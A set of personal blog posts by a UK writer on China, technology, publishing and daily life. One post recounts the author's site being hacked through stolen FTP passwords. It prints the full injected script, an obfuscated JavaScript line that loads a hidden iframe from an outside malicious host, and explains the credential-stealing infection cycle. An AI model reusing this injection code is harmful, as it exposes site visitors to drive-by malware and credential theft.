Punctuation malfunction

Bought this gan dou fu from China town the other day.

Have been trying to find this for ages, and it’s nice to see something made in the UK for once, but at £2.99 (30元) a pack it is very expensive indeed.

What caught my attention though was the English name on the pack,  I couldn’t help but laugh at the rather unfortunate name of the manufacturer…

Seems someone needs to find the space key

I’ve never cycled this far before in one day, I just hope I don’t pass-out from fatigue or get hit by a bus

Sponsor me here

Automatic post office

Clerk: ”You can use those self service machines to post parcels now”

Me : ”Don’t know how”

Just said this hoping she’d be quiet and stop asking me questions,  I wasn’t interested, afterall I was almost being served  now anyway.

Clerk: ‘Its ok someone over there will help you…its quicker’

Not content with my first answer, I gave her my reasons behind not using the machines

Me: ”Yeah that’s as well as maybe,  I’d rather speak to a human being…  Human beings don’t swallow your money or crash

or suddenly decide to not work.  Then when the machines break (and they inevitably do)  you have to  practically prostitute yourself in order to get you money back; you’re forced to fill in claim forms then then (if you’re lucky) will only have to wait 2 months to get your money back  -that’s assuming the cheque isn’t lost in the post…”

Clerk : Obviously didn’t understand a word i just said, still pushing the hard sell ‘ You really should, would save queueing ‘

Me: getting a little annoyed ‘Then the machine goes wrong, eats my parcel, get sent to wrong country etc… complain but get nowhere as it’s a self service machine and therefore the post office can’t be at fault….’

Clerk: Still going on about it ‘It’s easy – just like those self service checkouts they have in Tesco – ist quick and faster.’

Me: ‘Not really – its a pain if you use cash to pay – spits notes out unless they are fresh from the mint- it doesn’t let you bag things as you’d like and when it stops working it needing authorisation from a human anyway.

At this point I was able to get served by one of the cashiers and the convosation ended.

I am a fan of technology and for making things better and more efficient. But  I can’t help thinking that in this situation the technology is not great, and could perhaps be used in addition to the current set-up.  But what will really happen is that it will replace humans (i.e staff), not because it is particuarly revolutionary or good, but because over the medium to long term it is cheaper than employing staff.

I see this happening more and more in the UK, the de-manning of business in favour of machines because they are cheaper.  This is not just  a reflection of the type of economy and society in which we live, but also a reflection on the attitudes and expectations of those that live here, who accept such changes in the name of progress even though their long term social impact could outweigh the short-term financial advantages.

I remember thinking that in China they always had too many people doing each job, but actually,  I would far prefer to live in a society where people are getting out, working and paying taxes, rather than how things are in the UK, where many people are  being paid to sit at home and act as a drain on the economy.

Soon they’ll be more machines than people – your job is next!

And before you ask 我会用筷子

I found out through this email from Google – glad they told me as otherwise I may not have known!

Apparently this hack is a virus which uses stolen FTP password information then injects this bit of code to pages on the server without you realising it.  Where they got my password from I’m not sure, though I suspect it might have been my old work machine. 

This will cause someone who visits the site to run the script, where an exploit kit will test various exploits against the browser and various other installed applications.  Once there is a succcessfull infection various malware packages will be downloaded onto the machine.

According to here:

Once installed the malware, scours the machines stored  looking for stored FTP login credentials, then once such logins are found it sends this data to a server located in the Cayman Islands! Additionally, there is another component used, which acts as a script injector. This makes a call to a certain script on the server in the Cayman Islands, using domain goooodbill.cn This script gives the infected client a url in the format USERNAME: PASSWORD@FTP.ADDRESS.COM, the client then logs in to the given ftp site and modifies all index pages (asp,php,html) and injects the script. Once injected all visitors of the modified domain potentially become part of the infection network/cycle.

This is pretty sophisticated stuff and allows criminals to get access to lots and lots of machines and steal passwords/data that can be used in criminal activities i.e. emptying somebones bank account or stealing their identity.

One thing I find odd about this is that it goes through a Chinese domain called goooodbill.cn, which apparently was registered by a technology company in north east Xiaman.  Wonder if this really is from China as it looks to me like this domain has just been used  as a front – the name ‘MichellGregory’ looks fake to me! 

Domain Name: goooodbill.cn
ROID: 20090224s10001s39666572-cn
Domain Status: ok
Registrant Organization: DomainsReg
Registrant Name: MichellGregory
Administrative Email: 
Sponsoring Registrar: 厦门东南融通在线科技有限公司
Name Server:ns1.sikkaro.com
Name Server:ns2.sikkaro.com
Registration Date: 2009-02-24 08:41
Expiration Date: 2010-02-24 08:41

Here’s the full script if anyone’s interested

<script>var fr=unescape(‘%3c%69%66%72%61%6d%65%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%66%6f%70%73%6c%2e%63%6e%2f%66%6f%72%75%6d%2f%69%6e%64%65%78%2e%70%68%70%22%20%77%69%64%74%68%3d%31%20%68%65%69%67%68%74%3d%31%20%66%72%61%6d%65%62%6f%72%64%65%72%3d%30%3e%3c%2f%69%66%72%61%6d%65%3e’ document.write(fr);</script>

This means anyone on the average salary fortunate to have £25,000 in savings can only afford a £100,000 place in london.

Slight problem with this is that unless you wish to live in a ghetto or a camp site, 100K will get you very little indeed. The average price of property in London is  £348,585. 

At that rate it’s going to take me 17.49 years if saving, not that I want to buy a house anyway..

This is a website that archives content from the web and stores it as it appeared, based on periodic scans by the archive.  It seems to have omitted the images from my sites but has captured all the text.

from original site in y2k!

I had a server issue and lost lots of entries from late 04, but now I’ve re-inserted them via my SQL directly into the DB behind this blog  – so you’d never know they went missing in the first place!

Also found some really old stuff from 2000 from my first webpage and some Northumberland road stuff that I thought disappeared years ago!

12 northumberland road!

There’s bits and pieces on the web on how to overcome this but I found them not so useful (especially as I don’t have the installation discs to hand for Chinese character support or ahem.. am running a pirate installation…)

Unfortunately you have to have admin rights to be able to set up Microsoft IME via the control panel and be able to write characters using the MS pinyin imput method. You also need admin access to be able to change windows so it defaults non-Unicode programs to use simplified Chinese – if you don’t do this when you load QQ all you see is squares…

There is a way around this if you don’t happen to have admin access to your machine i.e You’re at work . You can install NJStar CJK Viewer .

This will allow you to see characters in programs like QQ which are non Unicode even without the windows settings being changed in the control panel. It’s very useful for viewing but does have the habit of crashing things every so often so be aware…

I also use a great plugin for firefox that lets you type hanzi within Firefox without having to mess around with any of the settings in the control panel. It’s quick and can be disabled/re-enabled by hitting ctrl+f12. The only downside is that it only works within the Firefox window, and so cutting pasting out into external programs wont work unless you have chinese character support installed ..

You can even get into QQ and type hanzi this way by using a web based IM like imhaha.com, I have found this so timesaving.

Of course Vista can read hanzi built in but there are so many other compatibility issues I had with Vista I went back to trusted XP!

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On my laptop I always use a Chinese language installation of windows (so the menus/error messages etc are all in hanzi)

It’s a market-stall versions bought from the vendors in one of the underground markets in Changchun. Strangely it’s called ‘Tomato XP’ and the Microsoft splash screen has been replaced by cartoon pictures of the red vegetable superimposed onto the windows hill!

Apparently the chap behind this is now in Jail …must have been very unluncky to get caught in one of the crack-downs… almost certainly has been made an example of by the Chinese authorities

I find this the best way to overcome compatibility issues. Of course you’ve got to have some understanding of chinese to be able to do this, so it is not useful if people who have acces to your computer cant read chinese characters.

For the uniniated to type Chinese characters (hanzi) on a computer they need an input system that allows the phonetic pinyin system to let people choose which characters to use. Unlike what Hollywood portrays Chinese keyboards are the same as western keyboards, they are not the size of a room with a different character showing on every key!

Microsoft provide Pinyin IME, which is a standard input program for typing 汉字 within Windows. It’s ok but not brilliant as its not intelligent as it could be. It is simpler and slower to use than other systems.

There is another IME from sogou the search engine people (搜狗拼音输入法) that I find much more intuitive and faster as it learns and remembers what you have typed previously. It also allows the use of spaces so you can easily switch between English letters and Chinese characters without having to fiddle around with clicking on the menu bar or hitting shift.

Also there are some really cool skins for the Sogou IME and you can add your own designs here

sogou skin example

Google (谷歌拼音输入法) have their own version which looks suspiciously like Sogou’s version…Infact it is a blatant rip from Sogou’s code simply re-branded in the Google way! It’s quite amusing that Google have decided to use such typically Chinese cloning tactics – perhaps they too have finally realised that copyright law in China isn’t worth the paper its written on. I wonder how it is before we see other western firms copying Chinese technology…

I got to try one of these out the other day, It’s a Sony ebook reader which is meant to be the future for digital publishing. It’s really slim and about the size of a paperback and can hold over 100 books on it depending on the size of the hard-disc.  I work in digital publishing so hear a lot about these things and how they will revolutionise everything but I’m not so convinced

Granted It’s very clever and lots of design has gone into the screen which looks as crisp as I’ve ever seen a screen – apparently it uses real ink to make it look more like a real book.  Having said this I am yet  to stare at it for hours on end in order to see if my eyes hurt just as they do when you look at a computer monitor for too long. ..The battery life is almost endless with 7500 page turns before it needs changing.

I do see the advantage of being able to have 100 books on one reader, for students it could be a very useful resource and would alleviate the need to have textbooks for everything. For the traveller who can’t get editions abroad, they could have all the books they ever want stored in one location.  So for a select few it could prove to be a very useful gadget to have.

The problem is that at the moment there are very few e-format books that can be bought and downloaded from the major publishers. And so part of what I’m doing in my current job is to help get all the titles converted so they are available in E format.

As you’ve probably guessed, I’m quite cynical about this.  I don’t really think many people (beyond those in digital publishing!) will go out and by one of these devices with their own money. Firstly they’re really expensive, £250 is the figure going around, just for the reader – then you need books and they cost the same price as the print equalivant!

There’s no way I’d pay £30 for an eBook, even if it was the best book ever written.

The publishers still haven’t grasped the pricing viz-a-viz eBooks – they are paranoid that by undercutting the price of the print book they would be losing margin. i.e. people would buy eBooks and not print books and as 95% of their current business is based around printed books they’re obviously very keen to preserve the status-quo!

Sadly this Luddite attitude could kill off the eBook before it even has a chance to establish itself but perhaps that is what many in traditional publishing really want…

—————————

Print books have advantages.  They can be held, do not require batteries, can be thrown around and won’t break.  Some people even like the smell of the pages…   I think to many the tangible side of a book that makes it what it is.

Crucially for me, unlike other mediums (Music CDs, DVDs etc) often people want books because they are a book.

Of course there will always be the techies and the yuppies who want to buy the next gismo and show off, but beyond this I suspect there is only a very niche market of people who will use this kind of product as it currently stands.  This does not mean that in the future this won’t take-off, It’s just at the moment I feel the technology is not sufficiently advanced to make the product that much better than a printed book.

For me It still lacks a real USP.

When bendy screens,  flexible rubber like plastic, wifi connections and good colour screens become available perhaps this may change.

Perhaps a more important development to come out of this is that  traditional publishers -like my employers- if they are not responsive to the change from print to digital, may increasingly find themselves marginalised as more and more content is released online directly to the consumer – bypassing the middle-man that is the publisher.

Also retailers like Amazon are increasingly dealing directly with authors, which was traditionally a relationship maintained by publishing houses. I think if the big dinosaur publishers are not careful they may face  terminal decline as technology  to an extent makes their current business model  more and more irrelevant.

There must be 3 inches at most, but there are no trains and the buses have all been cancelled on ‘health and safety grounds’.   I daresay in the summer when there’s

a coupe of days with +30C temperatures, people will be dying from sunstroke, hosepipes will be banned and trains won’t run ‘because its too hot’.

It Just shows how useless people in the south of England are at adapting to different types of weather.

Other countries with far fewer resources at their disposal manage just fine. Afterall, the roads in Changchun are frozen for 3 months of the year

but they manage so much better than people do here, and on far fewer resources.    The media gets into such a hysteria over it all, making the situation worse than it really is.  Perhaps they just want something to report on??

I did actually try to get to work and started to walk the 6 miles or so, but I turned back and gave up as I was  constantly thinking  ‘who else in my office would bother walking this far to work‘ .   It’s cynical I know, but why bust-a-gut when you know that no-one else has bothered and you’ll get paid regardless….

In a better place  people would be rewarded for getting into work in such situations or simply would not get paid for not being there.

No excuses!   I’m sure if this was the case then most people would find a way into the office, I know I would!

Perhaps one day, people on this little island will learn to get on with life when the weather isn’t overcast and grey, (aprox 50 days per year) though I feel this will take such a seismic cultural shift, I doubt it will ever happen in my lifetime.